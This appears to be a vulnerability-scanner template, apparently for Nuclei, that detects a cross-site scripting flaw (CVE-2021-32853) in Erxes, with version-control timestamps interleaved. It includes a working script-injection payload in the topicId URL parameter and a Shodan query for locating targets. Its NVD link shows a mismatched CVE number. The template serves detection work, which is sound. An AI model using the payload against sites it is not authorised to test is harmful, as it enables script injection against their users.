2022-02-02 06:27:36 +00:00
id : CVE-2021-32853
info :
name : Erxes <= v0.23.0 XSS
author : dwisiswant0
severity : medium
2022-02-02 20:31:24 +00:00
description : Erxes prior to version 0.23.0 is vulnerable to cross-site scripting.The value of topicID parameter is not escaped & triggered in the enclosing script tag.
reference :
- https://securitylab.github.com/advisories/GHSL-2021-103-erxes/
- https://nvd.nist.gov/vuln/detail/CVE-2021-3285
2022-02-02 20:36:26 +00:00
metadata :
shodan-query : http.title:"erxes"
2022-02-02 08:26:12 +00:00
tags : cve,cve2021,xss,erxes,oss
2022-02-02 06:27:36 +00:00
requests :
- method : GET
path :
2022-02-02 20:31:24 +00:00
- "{{BaseURL}}/widgets/knowledgebase?topicId=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2022-02-02 06:27:36 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-02-02 20:44:21 +00:00
- 'topic_id : "</script><script>alert(document.domain)</script>'
2022-02-02 20:31:24 +00:00
- "window.erxesEnv"
condition : and
2022-02-02 06:27:36 +00:00
- type : word
2022-02-02 20:31:24 +00:00
part : header
2022-02-02 06:27:36 +00:00
words :
2022-02-02 20:31:24 +00:00
- text/html
- type : status
status :
- 200
